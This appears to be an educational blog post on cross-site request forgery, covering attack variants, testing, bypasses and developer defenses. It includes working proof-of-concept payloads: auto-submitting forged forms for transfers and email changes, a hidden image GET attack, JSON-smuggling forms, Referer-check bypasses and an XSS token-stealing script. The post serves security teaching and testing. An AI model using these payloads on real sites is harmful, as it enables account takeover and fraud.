You visit a site that seems harmless — a forum post, a shortened URL, an image in an email. Behind the scenes, your browser silently sends a request to your bank, your admin panel, or your email provider — authenticated with your session cookie — and performs an action you never intended. That’s CSRF.

TL;DR

  • CSRF exploits the fact that browsers automatically attach cookies to every request, including cross-origin ones
  • An attacker tricks the victim into sending a forged request while logged in to a target site — no credentials needed
  • Impact ranges from profile changes to fund transfers, password resets, and account takeover
  • The primary defense is CSRF tokens — unique, unpredictable values that must accompany state-changing requests
  • SameSite cookie attributes provide strong additional protection but are not a standalone fix

Why CSRF Works

Browsers have a fundamental behavior: when you visit any web page and it sends a request to bank.example.com, the browser automatically includes any cookies stored for bank.example.com — regardless of which site initiated the request.

This was intentional design. It’s what makes “remember me” sessions, persistent logins, and seamless navigation work. But it also means that if an attacker can get your browser to send a request to a site you’re authenticated on, the server sees a fully authenticated request — and it came from you.

The attacker doesn’t need to steal your session token. They just need your browser to send a request at the right moment, to the right URL, with the right parameters.


A Simple CSRF Attack

Imagine a banking application with an endpoint:

POST /transfer
amount=5000&to_account=12345

The server checks: is the user’s session cookie valid? Yes. Transfer approved.

An attacker builds a malicious page:

evil.example.com/steal.html
<form id="csrf" action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="amount" value="5000" />
<input type="hidden" name="to_account" value="attacker_account" />
</form>
<script>document.getElementById("csrf").submit();</script>

When a victim visits evil.example.com/steal.html while logged into their bank:

  1. The hidden form auto-submits to bank.example.com/transfer
  2. The browser attaches the bank’s session cookie automatically
  3. The server processes it as a legitimate transfer
  4. $5,000 moves to the attacker’s account

The victim sees nothing. The page loads, the script runs, the form submits — all in milliseconds before the page even renders visually.


Types of CSRF Attacks

GET-Based CSRF

Some applications use GET requests for state-changing actions (a violation of HTTP semantics, but it happens). These are the easiest to exploit — a single <img> tag is sufficient:

<img src="https://target.com/admin/delete-user?id=42" style="display:none">

When the victim’s browser loads the page, it requests the image URL. The GET request executes the action. The browser sends the session cookie. The user is deleted.


POST-Based CSRF

The most common type. Requires a form submission, but that can be automated with JavaScript:

<form action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>

JSON-Based CSRF

Modern APIs often accept JSON. This is trickier — the browser’s HTML form mechanism can’t set Content-Type: application/json natively. But there are workarounds:

Option 1: If the server accepts application/x-www-form-urlencoded or multipart/form-data in addition to JSON:

<form action="https://api.target.com/profile" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}' />
</form>

Option 2: If the server doesn’t validate Content-Type strictly, a fetch request from a third-party page with no-cors mode will send cookies in some configurations.


Login CSRF

A less-obvious variant: the attacker forges a login request with their own credentials. If the victim’s browser completes the login, the victim is now authenticated as the attacker’s account — and any sensitive data they enter (including credit card information on a shopping site) goes to the attacker’s account.


Real-World Impact Scenarios

Account Takeover via Email Change

  1. Victim is logged into a service
  2. Attacker sends a phishing email with a link to evil.example.com
  3. The malicious page fires a CSRF request: POST /settings/email with email=attacker@evil.com
  4. Victim’s email is changed to attacker’s address
  5. Attacker requests a password reset — gets the email — takes over the account

Admin Action Abuse

Victim is a system administrator, logged into an admin panel. Attacker sends the victim a message containing an image with a CSRF payload. The image request triggers an admin action: creating a new admin account for the attacker, or deleting audit logs.


OAuth and Token Theft via CSRF

CSRF against OAuth callback endpoints can let attackers hijack the OAuth flow and link their account to the victim’s identity. This is a known attack against poorly implemented OAuth integrations.


Finding CSRF Vulnerabilities

Step 1: Identify State-Changing Requests

CSRF only matters for state-changing actions — things that modify data:

  • Changing email, password, username
  • Making payments or transfers
  • Deleting accounts or data
  • Adding/removing roles or permissions
  • Any admin actions

GET requests that only return data are generally not CSRF targets (though GET-based state changes are a separate problem).


Step 2: Check for CSRF Tokens

Capture a state-changing request in Burp Suite. Look for:

  • A hidden form field with a random-looking value: <input type="hidden" name="_csrf" value="a3f9c2..."/>
  • A request header: X-CSRF-Token: a3f9c2...
  • A cookie paired with a matching request parameter

If there’s no token — test directly. If there is a token — move to bypass testing.


Step 3: Test CSRF Token Validation

Many implementations are flawed. Test each bypass systematically:

TestMethod
Remove the token entirelyDelete the _csrf parameter
Submit an empty token_csrf=
Submit a different user’s valid tokenUse token from Account B on Account A’s request
Submit a completely made-up token_csrf=aaaaaaaaaaaa
Change the request methodSwitch from POST to GET with same parameters

If any of these return 200 OK and process the action — CSRF protection is broken.


In browser DevTools or Burp Suite, examine the Set-Cookie headers for session cookies:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
  • SameSite=Strict — cookie is never sent on cross-origin requests. Strong protection.
  • SameSite=Lax — cookie sent on top-level navigations (clicking links) but not form submits or fetch. Moderate protection.
  • SameSite=None — no cross-origin protection. Cookie is sent everywhere.
  • No SameSite attribute — browser defaults (Lax in modern browsers, but varies)

If the session cookie has SameSite=None or no SameSite at all, CSRF is viable.


Step 5: Build the Proof of Concept

Create a minimal HTML file that auto-submits the forged request:

<!DOCTYPE html>
<html>
<body>
<form id="csrf" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@test.com" />
</form>
<script>document.getElementById("csrf").submit();</script>
</body>
</html>

Open the file locally in a browser while logged into the target. If the action executes — the vulnerability is confirmed.


Bypass Techniques

Bypassing Referer/Origin Checks

Some applications validate the Referer or Origin header instead of using tokens.

Bypass 1: Remove the header entirely — some servers accept requests with no Referer:

POST /transfer HTTP/1.1
Host: bank.example.com
Cookie: session=abc123
# No Referer header

Bypass 2: Host a malicious page at a URL that contains the target domain:

https://evil.com/?https://bank.example.com

The Referer will contain bank.example.com as a substring — a loose substring check might pass.

Bypass 3: Use an attacker-controlled subdomain:

https://bank.example.com.evil.com/csrf.html

Bypassing CSRF Tokens via XSS

If the application has an XSS vulnerability, CSRF tokens become irrelevant — JavaScript can read the token from the page and include it in the forged request:

// Attacker's XSS payload reads the CSRF token and sends it
const token = document.querySelector('input[name="_csrf"]').value;
fetch('/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `email=attacker@evil.com&_csrf=${token}`
});

This is one reason XSS and CSRF are often chained: XSS defeats CSRF tokens, CSRF exploits the authenticated session.


The double-submit pattern is: set a cookie with a random value, include the same value as a form parameter. The server checks they match. This works — unless the attacker can write cookies for the target domain.

If the attacker controls any subdomain of the target (sub.example.com), they can set a cookie for .example.com, then submit a forged request with a matching parameter value. The check passes.


Bypassing JSON CSRF Restrictions

Some APIs only accept Content-Type: application/json, assuming HTML forms can’t set this. But:

<form action="https://api.target.com/profile" method="POST" enctype="text/plain">
<!-- The body becomes: {"email":"attacker@evil.com","pad":"=ignored"} -->
<input name='{"email":"attacker@evil.com","pad":"' value='ignored"}' />
</form>

If the server parses the body as JSON without strict content-type validation, this works.


Fixing CSRF: Developer Guidance

Defense 1: CSRF Tokens (Primary Fix)

Generate a cryptographically random token per session (or per request). Include it as a hidden field in every state-changing form. Validate it server-side on every state-changing request.

# Generate on session start
import secrets
session["csrf_token"] = secrets.token_hex(32)
# Include in every form
<input type="hidden" name="csrf_token" value="{{ session.csrf_token }}" />
# Validate on every POST
def validate_csrf():
token = request.form.get("csrf_token")
if not token or token != session.get("csrf_token"):
abort(403)

The token must be:

  • Unpredictable — cryptographically random, minimum 128 bits
  • Session-tied — different for each user session
  • Validated server-side — not just presence-checked but value-verified

Defense 2: SameSite Cookies

Set SameSite=Strict or SameSite=Lax on all session cookies:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

SameSite=Strict is the strongest setting — the cookie is never sent on cross-origin requests, including when clicking a link from another site. This means users will need to re-authenticate after clicking external links to your site, which can hurt UX.

SameSite=Lax is a good balance — cookies are sent on top-level navigations (clicks) but not on subresource requests from other origins. This blocks form-submit CSRF and fetch-based CSRF but allows normal link navigation.

Important: SameSite alone is not sufficient if the attacker controls a subdomain of your domain.


Defense 3: Origin/Referer Validation (Secondary)

Check that requests come from your own origin:

def check_origin():
origin = request.headers.get("Origin") or request.headers.get("Referer")
if origin and not origin.startswith("https://yourapp.example.com"):
abort(403)

This is a defense-in-depth measure, not a primary control — it can be bypassed in some configurations and should never be the only CSRF protection.


Defense 4: Custom Request Headers for APIs

APIs can require a custom header that simple HTML forms can’t set:

X-Requested-With: XMLHttpRequest

CORS policy prevents cross-origin JavaScript from setting arbitrary headers without a preflight. So if your API requires X-Requested-With, an attacker’s HTML form can’t satisfy it.

Limitation: This doesn’t protect against subdomain XSS — JavaScript on a subdomain can set arbitrary headers.


Defense 5: Require Re-Authentication for Sensitive Actions

For high-impact actions (changing passwords, transferring funds, deleting accounts), require the user to re-enter their password. Even if CSRF bypasses token checks, the attacker can’t supply the current password.


CSRF vs. SSRF vs. XSS — Clearing Up the Confusion

VulnerabilityWho sends the requestRequest goes toWhat’s exploited
CSRFVictim’s browserApplication serverBrowser automatically sends cookies
SSRFApplication serverInternal/external servicesServer makes requests on attacker’s behalf
XSSVictim’s browserAnything (from attacker’s JS)Injected script runs in victim’s browser context

All three involve unauthorized requests — but they exploit different trust relationships and require different defenses.


What You Can Do Today

If you’re a developer:

  1. Add CSRF tokens to every state-changing form — <input type="hidden" name="csrf" value="{{ token }}" />
  2. Set SameSite=Lax or SameSite=Strict on all session cookies — this is a one-line change in most frameworks
  3. For APIs: require the X-Requested-With header or implement proper CSRF token verification
  4. Never use GET requests for state-changing actions

If you’re a security tester:

  1. Intercept every state-changing POST request — check for CSRF tokens in parameters or headers
  2. Test the 4 basic bypasses: remove token, empty token, wrong token, method switch
  3. Check Set-Cookie headers for missing SameSite attributes — it’s an instant finding
  4. If XSS exists anywhere, CSRF tokens are moot — document the chain

If you’re a manager:

  1. Add CSRF token verification to your security checklist for code reviews
  2. Ensure security testing covers state-changing actions specifically
  3. Run a cookie audit — session cookies missing SameSite, Secure, and HttpOnly flags are a compliance finding in most frameworks


Sources